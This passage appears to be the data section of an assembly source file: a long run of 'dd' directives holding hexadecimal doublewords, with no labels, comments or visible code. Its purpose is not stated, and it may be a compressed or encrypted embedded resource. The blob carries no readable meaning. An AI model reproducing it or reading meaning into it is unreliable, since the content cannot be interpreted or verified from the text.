0C686631Ah, 77168358h, 0E090D229h, 72959D27h dd 0D09E00BEh, 91AA32C2h, 4003002h, 226E4B5Ch, 7FB2114Eh dd 256713Eh, 0AB0149C0h, 0C451CC88h, 70BF3200h, 0A748D2h dd 0C25573BAh, 0E2017242h, 0B8979099h, 146F4408h, 0A8C0A80Dh dd 0ACB014FAh, 0CD8AAF09h, 3D066C2h, 7A7F799Fh, 67A0A1E8h dd 0DE00A87Bh, 0F9700E3Bh, 0E9B88FC0h, 9D50402Fh, 85EC3DD6h dd 1FB08600h, 0FD9A06E0h, 0C204071Ch, 69AD167Eh, 0EB0980D1h dd 52045274h, 0A7008CD1h, 2B7519AFh, 0D500ADF6h, 9DE61621h dd 0BA4B7355h, 4ED89CD4h, 2C982F09h, 0E6FF0102h, 7B1354C0h dd 5B791870h, 102F88B1h, 0DB32C4h, 78A23EF1h, 0F0684975h dd 38830B1Fh, 0D00839C9h, 0E510A0F4h, 0E71C024h, 513E873h dd 8101EC07h, 0D6E0EE69h, 925970D5h, 0A96B13D8h, 2DFCC810h dd 76EC3003h, 8398BDDCh, 0E09FF25Ah, 89EDD740h, 3852EA86h dd 0AFE8E403h, 90388CC3h, 7E374B16h, 0BC5A004Ah, 9B054E59h dd 517A9215h, 0A5DC0F9Fh, 7008036Ah, 657684F4h, 6C03C07Fh dd 0C3002C24h, 0F98D75FEh, 4AFA695Ah, 0F42499F8h, 798F097h dd 8AD71B03h, 0B03C888Ch, 385217F9h, 0D39C5FCEh, 0F8D50453h dd 956C82FBh, 90C710DAh, 2F11D7h, 8CCD0CABh, 3F66B8D3h dd 4AF10B06h, 0B8D0841Fh, 0E6148F08h, 264078F3h, 60B85919h dd 0BC60B85Ah, 1D0B2C03h, 0AFD4D569h, 0D0C63583h, 41A854h dd 0DFEEA94Ch, 0F31881B2h, 8C00409Eh, 0B36D84D2h, 0FA10E2ACh dd 0C09826C6h, 4C124A8h, 0AC6B597Eh, 94E62F28h, 9E1E003Ch dd 0D46079B7h, 0FC90812Ch, 5B5A7544h, 6F882861h, 39EAD000h dd 1DD5245Eh, 627A7CB0h, 0E9EB5872h, 0E010DCD9h, 98CB185h dd 64116FC4h, 4CAC4219h, 0B6106D11h, 69019CC4h, 2BB2A288h dd 0A85CFED1h, 8166446Eh, 56C8189Dh, 928026E6h, 958C0344h dd 0EC91630Eh, 0F85C21DFh, 0C6827978h, 0FC1700E8h, 75D3886h dd 757FC132h, 9D2AA0Fh, 0A19F006Eh, 279F655h, 0B6B14720h dd 0C2DFD898h, 70080225h, 9148E0Ah, 54A414DFh, 98BEF093h dd 0B81A5A93h, 6A090EA6h, 0D83C80D6h, 36D46E70h, 0A8B0904Bh dd 18C03AF6h, 0A6F1A14h, 421E00F6h, 39DDB3ECh, 0E4E6A174h dd 0CF6DE509h, 0C9108198h, 0D0D44147h, 0BA2700CAh, 0F861F0F9h dd 819FB631h, 79D3548h, 10594084h, 8C50237h, 69DC0084h dd 18DE0CA0h, 8FDFB009h, 6CC60030h, 0A3784CD6h, 99DCC89Ch dd 46A8C087h, 320C82D7h, 952130C0h, 66249F5h, 227C2A9Eh dd 1340E8E2h, 103A4287h, 0C8888BEDh, 0D207E379h, 77213895h dd 21004CC9h, 4F23F290h, 6E5BC2D7h, 164A3444h, 7BDC9C88h dd 534E0E55h, 79638D0Fh, 284F5F0Bh, 98A9A080h, 0B739C069h dd 64E68A1Fh, 43B0480Fh, 8D2FA14Ah, 983018B4h, 3FF020B6h dd 6F588502h, 405719D6h, 195F9B4h, 0E66C42E5h, 2E29DAAEh dd 0E4717000h, 0A01B6825h, 13487680h, 70C221h, 7C3A27E8h dd 6C60D0CCh, 249EEE20h, 205253B1h, 0C1CEE9C2h, 40A4561Ah dd 7A751846h, 4088B707h, 1B712272h, 3C2A4D74h, 0D5014604h dd 986CB1CCh, 0D07DFA01h, 0AFF10F03h, 85A8106Ah, 0DD1E0481h dd 3D05AB1Ah, 70C9E3F0h, 5CE7D9F0h, 0B2108064h, 214B008Fh dd 0E0FB6777h, 65B40F9Ch, 0B98014CDh, 0F0B3C9A7h, 784010B7h dd 0CD750090h, 0E1071E83h, 260B9BADh, 10092281h, 0EC918498h dd 15A500FBh, 751D2FFCh, 1CF0A2EBh, 97326D01h, 66A15A7Dh dd 11C25C31h, 9042132Bh, 26BBDA10h, 3EF7F04Ah, 953C0076h dd 93D5CE34h, 0E9171B22h, 8305FECh, 26665Ah, 0ED439237h dd 8709C36h, 0AE1EE000h dd 7404998Dh, 0FAC9F50Bh, 0B4AA35DCh, 0C4834E18h, 1598974Dh dd 0D1002D3Ah, 0E0C177BFh, 266D1F86h, 16B87C0Ah, 0F9DC4A78h dd 0BDA541C8h, 712DECFBh, 2E894E00h, 70147556h, 0B5E13E15h dd 3FB41065h, 0C4D0C04h, 70CD10A9h, 32915C30h, 7CE67100h dd 0C4A858B4h, 4D248A0Eh, 28C5ADCFh, 0DE901E60h, 0F400E228h dd 57BC3B30h, 7419736h, 0C8EF20E3h, 0FA8430FBh, 0DE035596h dd 789F067Fh, 0CC7EA804h, 71010093h, 75B55832h, 0F201C0C4h dd 0D1ADE5BDh, 64606E72h, 0FE520F0Eh, 0A1A03473h, 0C92A23E6h dd 73E540Eh, 0BCA6409Ah, 3363DAh, 37181D0Eh, 14A9A0C8h dd 2587CE0Fh, 0DD208062h, 7DC42Bh, 0E2E8CC75h, 0F57683E4h dd 80952600h, 3BE9A567h, 3EFB0024h, 25D704B6h, 0E500A9FEh dd 1E90B068h, 14295ACDh, 9C7706AFh, 0F72F3Eh, 1820FFB8h dd 8E048D2Ch, 0B0A10701h, 14BACC6Bh, 0FE45FEF0h, 8DBC007Ah dd 0D90BEB9Dh, 2701C07Ch, 5A4B22FFh, 0F9EC4CB1h, 47FE7Dh dd 372BC4BBh, 6A46D09Eh, 0AEBC8000h, 79F1539Fh, 6FE610h dd 49EB3113h, 1474D13Ch, 0D24B2800h, 0D5DCF2ECh, 64810046h dd 48066977h, 0DB009780h, 34A70AC4h, 0AF4E13h, 265CD294h dd 87BFC2A2h, 0FFEC5E00h, 0C4EB82F4h, 0D3ED00FEh, 6C2D3719h dd 790030B4h, 89B05ABEh, 49175ECBh, 6F001813h, 0D4E68629h dd 72000A92h, 0D9D15859h, 0C8E8C0h, 42534AC2h, 0F1EFBBAFh dd 0B83F3000h, 68CC3B4Bh, 270C3DDAh, 79743400h, 1BAD57F9h dd 0A638C100h, 9ACA66C2h, 2890F2D8h, 1FF0BFC5h, 0A0C4E0h dd 49501160h, 66B8799Ch, 0CEBEE400h, 186919F4h, 5A581F10h dd 95918080h, 7E2BAAEBh, 0FC1CC50Eh, 180240F6h, 3A6B43h dd 0CDD5C8A7h, 7B41172Eh, 0F3A5B100h, 0DD0A058Fh, 0F17EB9h dd 689820E2h, 6CC465DEh, 70AF8100h, 4393273Ch, 41331762h dd 30BEC8Bh, 64E46FC6h, 0F46EF0BAh, 50C091Dh, 0B400581Fh dd 6DCB3E41h, 0F908E730h, 5CF87EEDh, 0AC037B8Ch, 752DE425h dd 960C0F88h, 5D6E0E00h, 0C1E0D459h, 28C60AE9h, 39A84F15h dd 1125B3Dh, 9E90006Dh, 10670E1Eh, 58AAD11Ch, 75948F40h dd 30805665h, 20D8AFBBh, 8239DCBFh, 2AC4945h, 0B66ACB10h dd 0A9CBC370h, 0C34B84Ch, 211E1DC4h, 8B4340A0h, 8C12E926h dd 28C5CA00h, 605A8EB5h, 0CB79029Fh, 4CBAB978h, 700DFF61h dd 0ED0725D5h, 0D433CEE2h, 0B0879544h, 74E392D0h, 23F500ACh dd 7CB3F9FDh, 3814B066h, 905708h, 0C70F7F3Ch, 0D2CD22h dd 0ABED26F4h, 11B7C98Ah, 77312306h, 1D50E4E3h, 0C08B983Fh dd 2FCB78BDh, 0ECE176A7h, 0AE04E2B6h, 0FD31EE7Ah, 0D929E480h dd 409CE0BAh, 0A84D51DFh, 0E477037Ch, 98D5DA71h, 124B0E3Fh dd 4EF62234h, 0FBC00DE0h, 361AD22Ah, 2E2C8858h, 960066E4h dd 7DEDBFA4h, 309F867h, 0A53EB7C4h, 5000E3B2h, 3FA718DFh dd 9DCC89h, 0A9B6C0EEh, 0AE3BC999h, 3A50BF00h, 0DC7EAFCBh dd 3D8F009Eh, 2F99F1CFh, 0DFF042A6h, 0D11A130Ah, 68009732h dd 592A3906h, 8B9606F4h, 0C055D678h, 73006978h, 0CEFE82A5h dd 3DC51BAAh, 58007066h, 0BBCD43BDh, 4E09ED15h, 20EEC3D7h dd 594C5120h, 0DE211F9Ah, 0FAA7C020h, 0D9C48E66h, 0CAC2924h dd 26497604h, 548B8D6h, 0E0EB17B9h, 3D9821DEh, 0DCF0F704h dd 2701F385h, 8C28D34Ah, 0A050E1FBh, 5C946h, 3E3717A3h dd 24123BAEh, 3478FE01h, 58DCE9FBh, 0BAD844h, 0C010F1AAh dd 46F87381h, 0D7000892h, 1D8BE676h, 9051EE17h, 0D3C2627h dd 72AE004Ch, 0B52B12BDh, 4E916301h, 49DC8AFCh, 8747D8FFh dd 0B6E50083h, 0CCF69CF1h, 920FEE82h, 0A07375ACh, 0C78CA7DEh dd 1B380023h, 68FD3517h, 7BFA3188h, 0D22FE700h, 0F531577h dd 0AA0D00ECh, 61077E94h, 5D0C0A27h, 0F8848FE6h, 4E769Fh dd 0A4899C2Bh, 0D97DEA64h, 8EB2BF05h, 0B09042E6h, 73BE723h dd 9428B8ABh, 7EC0B04Fh, 8900BB12h, 2FE42BB9h, 26357318h dd 3D394DBAh, 0CE1EDE00h, 3E4E055Bh, 0B49B8F01h, 2F8BFA70h dd 0F146520h, 45999461h, 0F00AC0DEh, 24392ABEh, 0E0E65501h dd 7115B0BCh, 0F8E824h, 0A8B3214Ah, 0ED825A88h, 40FFB0F4h dd 24AEF610h, 0A6038C92h, 0B8D0918Ah, 0D2CCA0AAh, 3A18DEA2h dd 85E3106Eh, 20FEB68Fh, 0B1E23318h, 5C5DCEE9h, 0EE004C7Bh dd 70D60287h, 5B882288h, 0CE1820CFh, 277EE04h, 76406D21h dd 0DFB0B7A2h, 9234B60Eh, 2C75DBh, 9388A92Fh, 5032542Eh dd 0CD70CE3h, 9AA6A733h, 3A1FD8B0h, 5D009DEAh, 2CBCC2D3h dd 1D34F068h, 80109F7Ah, 18D8AD1Fh, 67007835h, 0B313F52Eh dd 3A199904h, 900089B9h, 25F1740Ah, 98007554h, 0E33F3818h dd 0BDA1B6Ah, 4462ADA5h, 1D02087h, 0F81F85E7h, 74006859h dd 0DFF3704h, 98507BFAh, 0ED47C94h, 9BC7B20Ah, 0B79DE460h dd 0DC00EB19h, 0AE80F27Ah, 93B7CCFh, 0D0C5D43Fh, 6A618300h dd 9600F537h, 647A9025h, 41C903h, 337CAEB2h, 26CFE0B4h dd 848A6F00h, 94F8FDC3h, 62440012h, 432434AEh, 30EC4DE9h dd 0E0D4BCA1h, 0B055D2Bh, 54F1AB23h, 0B201FCD0h, 926C00ADh dd 0B37AD724h, 9754312Eh, 361E33C8h, 0B6008735h, 0CCCDCF64h dd 0DA30FB3Fh, 18886098h, 3E3B31ACh, 1E35013Eh, 0E07B843h dd 0F0800FB2h, 0A9CB0A3h, 85A1845Ah, 0F22980D8h, 7393AA30h dd 2AE0B501h, 38FF723Ah, 2AE333E0h, 3FF8A631h, 18EEAA42h dd 145D14F6h, 0B8078880h, 81006E21h, 362A3510h, 1939B57h dd 0F065BEB6h, 8785B866h, 755CA2A0h, 638A163h, 0AAF1F481h dd 0B8005832h, 0C53B6355h, 704256BEh, 397C0Ah, 0FA1CA1FFh dd 655B2496h, 2D282A78h, 2F0194C6h, 4DFC3385h, 5C6227ACh dd 0EE21AA05h, 474802E2h, 7E11942Bh, 0B0A4A3CAh, 4082C2F3h dd 626CF890h, 0FD2AE835h, 0E2EE2136h, 826AD6C2h, 40D7EBC0h dd 3536EE68h, 866834C5h, 1700F126h, 0E04B293Eh, 5CFC439Eh dd 0F87D1456h, 888E604Eh, 60A00B75h, 8B9E2800h, 2F813C69h dd 67E0021h, 34D2E75Dh, 0AB0380BEh, 0BFF4B0D5h, 3EA000C7h dd 0B6CF14C1h, 0B272195Bh, 48AD8402h, 0C39A90B9h, 8C1D82DBh dd 676D194h, 19BA4610h, 0A300ACFAh, 8FF2A99Dh, 0D59FBEh dd 668BDC37h, 0E4C334D4h, 8011323Bh, 0B14187D6h, 857257h dd 68F66CB3h, 0E43513C0h, 331B2B00h, 3CD41C2Ah, 0D5A71F8Bh dd 957B808Ah, 34A986FDh, 50E784ABh, 0D11876C2h, 0B900E4F4h dd 0AC468D38h, 802D9E26h, 4363B085h, 0A74D31h, 0C93A9BB9h dd 0C609FC10h, 0DDD71100h, 0F50E73B7h, 0F800212h, 7650A2C1h dd 7BD83440h, 738A680h, 90B80E6Dh, 6A9BA016h, 0B7A03D2Eh dd 9C00AC20h, 0E5D06DECh, 0EEF727Dh, 0F10A879Fh, 202EF486h dd 0D0754500h, 0CF8DBEB7h, 4B280195h, 20252C72h, 0FCD5F027h dd 7B99E226h, 1A01031Fh, 2DC59704h, 0CF6E4080h, 0CC9D236Fh dd 823C70CFh, 811455E5h, 4B1C9098h, 0D044088Ch, 3B00DD20h dd 0A0686FE5h, 0B8C3F3B4h, 0BCC407EFh, 603E115h, 28816016h dd 2792D088h, 3EF29A3Ch, 0C62E0C3Ah, 8C2190h, 1A72CB83h dd 2CA2B70h, 222AE13Ah, 0E2567F7Fh, 4F0F0032h, 677CFDA0h dd 0B500B2D0h, 4C20263Ch, 72B08D7Bh, 3F7F0107h, 0B2099D39h dd 45805725h, 0CFFDC05Ch, 771CE2D5h, 3947B38Dh, 6370119Fh dd 0EA6825h, 0B1ABFD94h, 0D6F49374h, 55055A00h, 3BA3BABCh dd 0B8761EF7h, 10B919C7h dd 0F0ADED95h, 3F0054BEh, 0C82E0567h, 249857FAh, 609302h dd 0F643B187h, 690065DFh, 0CA485E4Ch, 3F516296h, 0DD80FD3Fh dd 897AE1AEh, 3605475Ah, 65EC9F4Dh, 1E8558C0h, 0AC5C007Bh dd 0F795A63Eh, 1B2457E2h, 2F0075FEh, 0B591CC6Dh, 238B0043h dd 0F637E1F3h, 0AD01B681h, 8AF7EA44h, 3E60F935h, 285005Fh dd 6522EB1Dh, 0AF00A108h, 15217CB1h, 4A28D8h, 0A5DC4B50h dd 298236F4h, 183826B0h, 6DE8002Bh, 55FBF7A6h, 0DBAD0045h dd 0DB87B62h, 0AF0535BFh, 0F449689Dh, 0F874FC00h, 0C0A4D05Eh dd 34028FD1h, 11011586h, 0D26803D4h, 508070BDh, 9D946372h dd 470A4F9Fh, 0B4BB46F3h, 1142CD00h, 3F0E862Fh, 0D2078B5Bh dd 10B9BE36h, 8EDBFCAh, 4051FF07h, 0D826DEFBh, 0C35203A1h dd 503F83B3h, 0B08A5039h, 234A383Ch, 9D59004Bh, 2D7E08A5h dd 6008E8Bh, 0D80D357Fh, 28AF5EBh, 9C3B10B1h, 9A809962h dd 36EAD7B7h, 4C7D61F2h, 0CFC27506h, 0C15384h, 1DC89F46h dd 6354486Dh, 4F0CA50Eh, 4BAB2076h, 387CC725h, 368EA6B6h dd 70A03972h, 638851EDh, 0F786902Ch, 0C3BBC900h, 0B6A55h dd 0CD7B6146h, 226E7196h, 2BC6F524h, 0C2F9F102h, 4EC3E0C0h dd 4BF0EFh, 0AF9680BBh, 268A9F22h, 4294EC00h, 924586F7h dd 0C0A0DD97h, 0C3370F3Fh, 0A8002E08h, 0DFF2AA65h, 7C60E6h dd 0B8B5AD09h, 0DA298936h, 2372A400h, 4EC9F967h, 6E118ACh dd 0D2E24898h, 9E002472h, 146AC25Bh, 4B18290h, 776D558Ah dd 83888450h, 0DBC0C13Ch, 1D005FD5h, 0FEFCED4Ah, 5A14651h dd 0B9A2E518h, 0BBE3C0DAh, 9200DECEh, 0B710263Dh, 0FA5E49BAh dd 2BBF1F41h, 57A4C08Bh, 956B0BB6h, 31BD7001h, 2827CD08h dd 83F9807Bh, 49018901h, 0FEB93C12h, 0E5DC702Bh, 793F3F56h dd 9C0B02Ch, 0D822B6E2h, 4E6045DBh, 0F04843AAh, 0CF5D1D60h dd 0D61A3480h, 7500431h, 47BC7AFCh, 6CB20073h, 3707FA49h dd 0EA89171Bh, 2F8DDB20h, 0E1240081h, 9A35CF10h, 4602A71Ah dd 0C7D904BDh, 3198817Eh, 94CC9695h, 25ED0026h, 0A0CE38D2h dd 5B009170h, 3E9A1492h, 38E159C3h, 0AE801D56h, 6380C6EBh dd 0BA03DBCBh, 0B16A9730h, 983FC0D1h, 0EE380020h, 6874959Dh dd 0C700A729h, 31F7E0Ah, 1F37AA44h, 1892CA10h, 75EFF1B3h dd 7AD26903h, 0F8FD1BEBh, 4805E9B4h, 0FC0FA804h, 7422B690h dd 88A091A9h, 44F160BCh, 5ACC3Ah, 0F85CFE1Dh, 6FA186C9h dd 0FFC0D86Fh, 2FFD7B4Bh, 8901B6F8h, 5A095426h, 56C9E3FBh dd 0F6EA7C24h, 0C0FC0748h, 10E2820Dh, 3D697C2Ch, 0DB733416h dd 97CF5740h, 13EBF8F7h, 49EE85h, 0B83EFA40h, 0CC1E249Bh dd 0FEC3F5E4h, 0F80B9754h, 0F9874Fh, 0ACFBC28Ah, 0CDD4E17Fh dd 8C818800h, 0BB0F117Bh, 0EA90E4FAh, 3E30EBFh, 0C60022F4h dd 80FBB857h, 7C2BAD00h, 66617589h, 0D70A036Ah, 88CAD26Ch dd 0D441A7B2h, 27C3C44Ch, 1CF02301h, 0F76C5025h, 7B2E7D8h dd 70A9D3FAh, 0BD3ED280h, 2C01B481h, 1536FC60h, 84316128h dd 0F653500Fh, 0E2BE204Dh, 2E25DCh, 34ABC964h, 52BD2B95h dd 6622A0C0h, 854426h, 0D56EE2Ah, 0A9D5D7F4h, 0E4B41E1Fh dd 7D617C00h, 0E9DFA5h, 45394152h, 0FC602DD8h, 0A37A3400h dd 0DE125BBBh, 0C3112470h, 3EFE00C4h, 2C3CAEBCh, 0A0E2E000h dd 0F309A6DCh, 22BD26C5h, 3EE1E384h, 5CF0D440h, 0FEF03725h dd 0C3F00ADh, 0DA81FB7Eh, 547234E2h, 857AEC71h, 0FC1DD00h dd 0BB984A15h, 2AA8133Fh, 801C1C75h, 79F1AB41h, 1C2E168Fh dd 5D24C27Eh, 0BD1A5300h, 1FA61ADh, 84FB6308h, 0D8137EB7h dd 0B300877Dh, 18B66474h, 90AAA839h, 739912A0h, 6A6842BBh dd 0C560B11Eh, 0F903DB01h, 0C944AE7Eh, 99A80F3Eh, 0E600702Fh dd 5DF3FB61h, 54BC6D2Ch, 0B6029080h, 0DE567Ch, 29FBE463h dd 0EEFF78EDh, 88602000h, 2C91CA13h, 0E4170170h, 58408403h dd 8BCDDC55h, 0F3EA3Ch, 643E2FAFh, 0F8B1A6h, 12BF068Fh dd 0A2A71D47h, 594D6200h, 0C09705BAh, 27A10F7Fh, 3D8F790Eh dd 0C9D19BE0h, 8100CA6Ah, 0D73EE4E9h, 800ECDh, 40772E8Fh dd 9F4AE12Ah, 0ABA36D00h, 0B8168E0Bh, 0C4E0004Fh, 0B38696F0h dd 82005370h, 0ECE2C22Eh, 7B8190Eh, 4A83353Dh, 8A79A011h dd 0EA008756h, 7CF894ADh, 8C51A9h, 63A8CA6Ch, 5165AF1h dd 74E06101h, 66AE7F35h, 9012D080h, 0F0925ACh, 9457EF00h dd 855C3422h, 62750001h, 67174C3Ah, 2101CEFAh, 5874DA16h dd 8DDC7B8Ah, 0A7342CEEh, 6800069h, 0CB6E625Dh, 27C6A824h dd 0D6F17800h, 76BF73h, 3D2F03B6h, 0CE07AAF8h, 2CB0C858h dd 0A6014668h, 2BE34B84h, 70FC60D6h, 9F760B92h, 9F8EF736h dd 84BE4E24h, 0A3E8C051h, 0A82C726Bh, 88800CCCh, 539E36C5h dd 459D0ED3h, 1D40E4DAh, 8B449698h, 70037FF2h, 0DE9AE954h dd 0F8898FFh, 0AF7400FEh, 6BF1A481h, 3B30233Ch, 94B66140h dd 3FBC1FB7h, 9F2781DAh, 6052AC22h, 0FF6E6C74h, 3C130410h dd 82A06F07h, 47270619h, 0DCC75280h, 7E0D07F9h, 0B4D1ED69h dd 3818C03Ah, 3501403Fh, 0B8BC28D7h, 547448DEh, 0B6D300C4h dd 353BA491h, 0B4F628CFh, 0BD074094h, 23B09F1Ah, 0A01834h dd 4087381Fh, 6628DF33h, 0C7193C7Bh, 3BC0BFF6h, 48F8C4h dd 0D0DEE0BBh, 4C775654h, 0D6580300h, 8EA51265h, 13985Ch dd 0D8A97B5Bh, 0BD0148C4h, 0E58D1900h, 6C2FBE98h, 4E8C00A0h dd 0D2CF5A38h, 0DD1FAE1Bh, 0ABC00F25h, 0E0A5B6FAh, 60FC0090h dd 6B8AEFD8h, 4D000B85h, 490DB1E9h, 7398B40Ah, 99D51F3Fh dd 5B7C40EBh, 0D7AAA3A6h, 0CE002775h, 8033D42Fh, 14F4F746h dd 808561BAh, 0C029021Fh, 0DAA82286h, 9D00FB7Ch, 8296E67Fh dd 0FCC4908Bh, 298700ADh, 30C63769h, 0F50067E0h, 9891531Ah dd 46C28h, 7597F1F4h, 722D09F2h, 4668F01Eh, 0AA3D7DC0h dd 0E2EB34Ch, 15CF3932h, 3F799440h, 0A4A2CAA9h, 530CE600h dd 9F00496Dh, 0A41077F9h, 548DCE7h, 23E0FEA6h, 0B980D2B3h dd 95410497h, 10802AD1h, 0DA7D66A1h, 99B072C4h, 0D3001B79h dd 313290DFh, 3D085A9Ch, 0F398BD04h, 0FA13297Fh, 89864888h dd 44B20866h, 0F9445FF3h, 31AC2006h, 0BC115242h, 0CBB21F4h dd 0BE51812Dh, 20FC0744h, 0C742DB6Eh, 29807519h, 0B928414Ah dd 23299418h, 855B1150h, 7059610h, 0FCB5B81Ch, 0C8E3078Eh dd 10BB8900h, 0F8DE00D8h, 6E4A5E39h, 34260602h, 0F90F385Fh dd 4CBCE008h, 3467F96h, 1F27A0F1h, 0A6E805BBh, 0AE023FCFh dd 0B4DEF685h, 0A85AA7h, 0D21F338Ch, 0D4DA65DCh, 300784B2h dd 22BAEEB4h, 2A544380h, 6D7F009Eh, 0DBD24DB9h, 8900B8A3h dd 7B6145E8h, 3A3675BDh, 4C818793h, 0CB20322Ch, 0EFC2308Dh dd 0F122AC1Dh, 406A4A49h, 6E684h, 989D0A3Eh, 743C5075h dd 17CC51Ch, 65DA5CC0h, 17B0692Bh, 842F42h, 3BC25D46h dd 0F85C3C12h, 5930030h, 9711B845h, 0F9A5007Eh, 0D2E2D932h dd 8C0046FAh, 1C26C69Ah, 1EAD415h, 73FDF205h, 0F0FA45FFh dd 722CF17Bh, 3800E602h, 9FFEB178h, 807338D8h, 977C9124h dd 0F96C0265h, 105066B5h, 0AFDB490Bh, 7A6855Bh, 2FE7A480h dd 0A765166Fh, 6B9C000Ah, 201F1594h, 0F1ED7704h, 6CD05205h dd 5A6B872h, 7C16B7Ch, 0FFA5C0BDh, 320755C3h, 0F417C646h dd 68C80BB0h, 7EC476EEh, 57C07EAh, 903F6CFEh, 0A714112Dh dd 0DAE1DB07h, 63F19679h dd 0F1EC285Fh, 2B6C00F9h, 1F0F91D0h, 55090CC7h, 4654A8h dd 0E8AB4C14h, 2F7E000Ah, 727DDF26h, 0EB0048C5h, 3F6D4A61h dd 3DC19DE6h, 379E14Eh, 935E5AE8h, 80C06E59h, 0F4122BD4h dd 0CC80B763h, 3F4E038Fh, 73329Ah, 50C8209Eh, 90CAA0F4h dd 8630AA70h, 0BC5EE0C0h, 9E640375h, 5BF89C33h, 59C997D0h dd 0D8EFA809h, 0E92400B6h, 0BE6E23h, 115F7C75h, 0BF4E0A5Eh dd 3DA1E3Eh, 0B4682DD7h, 28FE9Ch, 422164B0h, 0BC8F33EFh dd 0F00002ECh, 0D0804779h, 1498AD6Ch, 844ABB55h, 190D7700h dd 62C849D4h, 0B76DCF16h, 0FC8A2801h, 0A6DCAA30h, 0E4B000A2h dd 0CBF62A0Eh, 7800EFB4h, 0E657594Fh, 0E941E8h, 603002E0h dd 0D2BBDC44h, 80EAF300h, 0A73952A8h, 0ECDD00DFh, 7C56B13Bh dd 35275D10h, 0B81622h, 0F51A58F0h, 6D32FEE6h, 3EC7CC00h dd 0B9E07D7Bh, 97773FCh, 0B8C7966h, 64120580h, 1812FAAFh dd 7000D45Ch, 49D629D9h, 126C7F83h, 828005DEh, 94797E7Ch dd 0C407B597h, 11104E20h, 189886E8h, 908B6991h, 6B001AC4h dd 0C7F7508Ah, 244457C8h, 74DCAEh, 0F2F173BFh, 401FC307h dd 0E476F12h, 406EE288h, 2C9699F7h, 831100F4h, 7E0EAFFh dd 33EED8Bh, 42A300D4h, 55D0E75Bh, 0F46350E4h, 0D92D01E9h dd 0B324AD0Bh, 9C0DD4F1h, 0A28B1A0Bh, 0BC9080E8h, 0B0CAC6h dd 0D8E611DFh, 360108C5h, 2C06D100h, 0F3E50D4Bh, 0AC830088h dd 0CC91FB9Ah, 0F8C0CE17h, 454E0F4h, 0C8F8007Ch, 407BD878h dd 2E0060C1h, 6B903EEAh, 3EF66F0h, 0B08CD64Dh, 35807E1Bh dd 7000279Fh, 4A95389Bh, 15F1EFh, 22598F12h, 0C58E042Bh dd 0BC45D600h, 0B474ED0Bh, 0A1080111h, 0CB9CF60Ch, 0B2E7EC6Dh dd 743BB924h, 0B4EC4D02h, 1FC4910Fh, 9A8030F4h, 63D40020h dd 0DB021D92h, 2C006FF9h, 77C2A2DDh, 278B2EA9h, 0E483DF3Eh dd 57E07302h, 44967D30h, 47F28038h, 272236C9h, 32E60714h dd 26E1827Ah, 6B13F2CDh, 0C800A7BAh, 89B3BE8Eh, 30210741h dd 10AD8165h, 0AA0EA2A8h, 0BDE27800h, 7758B957h, 59480144h dd 4AAEE77Dh, 32408075h, 62145DD0h, 50FD0181h, 6A2EAB92h dd 1E84D4CAh, 0C908FC96h, 0A0909424h, 0DACB2A0Ch, 5600DDE8h dd 91743AD6h, 1EB29B3Fh, 0DD49EDADh, 0E52C00CDh, 67134D85h dd 26EA3207h, 0CAE06E83h, 0A42007h, 9D25FA53h, 513B1CA8h dd 0EF8BBD01h, 75A315F8h, 26B06220h, 4B0458Fh, 73BCFB1h dd 0B4FA5483h, 8935C580h, 4C22AB6Eh, 500D401h, 2861C072h dd 84033AF8h, 0DEE69276h, 0F7A2D0EEh, 0E31E1CE9h, 7EC03h dd 54EADC49h, 3A07AC60h, 8CFDB672h, 62ED3D70h, 0E9C00F3h dd 0F0529F81h, 84FC337Fh, 0C9E93724h, 819803Dh, 78B74977h dd 33E71446h, 8000A91Ah, 2765BA68h, 0A412EBA3h, 0FC207B3Bh dd 26B194Dh, 0EA60ADE5h, 0D260467Eh, 0AC0009BFh, 0F7107369h dd 0BD716FFh, 41BE9BF5h, 881BDD01h, 603C6061h, 0FBFF2700h dd 74376480h, 2E67348h, 6F780868h, 0ACE8C1E4h, 38E15BCCh dd 0F4EA0020h, 0BD02AD1Bh, 6DC40067h, 88CDD3DFh, 3400AE35h dd 24015004h, 1279CA5h, 6260BA1h, 81E4C67Bh, 22895CA8h dd 85E0E543h, 3113F25h, 7410E900h, 0C053D980h, 12001490h dd 0A2ACD6AAh, 11EA932h, 9C618F70h, 308B5250h, 7B002924h dd 0D2EB4EE2h, 3A6CA4C4h, 0FC6AD5h, 0A82397FAh, 0B1F4E7CBh dd 0B0680400h, 0DFAE919Ch, 0A4B500E1h, 0E90CC051h, 550011E3h dd 9D2B8601h, 0B7CA93h, 27B9F91Fh, 2A104B9Fh, 0A839FA26h dd 0A7022F00h, 77B3D247h, 618030Ah, 66C14911h, 4A505688h dd 0FBFE2200h, 7C691343h, 91FF028h, 82F6A6B5h, 0A300A41Ah dd 0EE620A68h, 27B58309h, 8090092Eh, 35587AC6h, 0E0600D8h dd 845F2173h, 0AE1C8AFAh, 0F40F019h, 0BA17FFD1h, 2192009Bh dd 0A20AC541h, 0A7005498h, 51DBF918h, 0CF475Fh, 0D33D8324h dd 8CCB48FAh, 0A40C900h, 1528AFABh, 1F0800A0h, 14C16F9Dh dd 0F100FE2Bh, 12D2D057h, 8C2CBDh, 943AB73Fh, 4C598596h dd 9B0398A0h, 65001776h, 5D19DCE5h, 3D4B6C8Ah, 9F24D16Ah dd 332502D4h, 7068C629h, 3001E85Fh, 0E2FD1DDBh, 9080BBA1h dd 7C2B60FBh, 70036B41h, 0A8AAEF9Ah, 0F185A0A5h, 9CB700D5h dd 0B8F34879h, 0EC7535A1h, 996E2100h, 6BEFAFBEh, 81873808h dd 3D8CDA24h, 0F02017A7h, 0BBF925F2h, 0DF0F120Fh, 0B29640B4h dd 1485185h, 7C2CD8F7h, 0E817CE5Ch, 90F8C8FEh, 35AE0BAh dd 13014C21h, 0EEF00430h, 23CD3B2Eh, 66901985h, 0AD840031h dd 478D9DDEh, 5768B40Ch, 766458E1h, 0E63600B7h, 54AE0F85h dd 873172C5h, 63BA2197h, 0E0701CFDh, 21180561h, 80FF6C95h dd 0BADA0750h, 360034B8h, 858F024Ch, 42E9B2h, 0C95E52F1h dd 5BBA0118h, 4BA61B0Bh, 0C5DB013Ah, 9CE8F623h, 0A18F0037h dd 145EA907h, 3E006384h, 0C02BA393h, 0C056B50Fh, 240A29A0h dd 470B9752h, 85D14ED5h, 0BCE055D4h, 267A00A2h, 46C87759h dd 0EC00CAD3h, 0C9B46A95h, 0A10425h, 0B37EE472h, 9AB2F7BFh dd 0EDF3E900h, 0C5AC970Fh, 174E1D7Ah, 650B80CBh, 965DC645h dd 0E244A60h, 42A039h, 0F2D54ECFh, 8D82024Fh, 21CB5203h dd 81E8ACCDh, 0C8782BB4h, 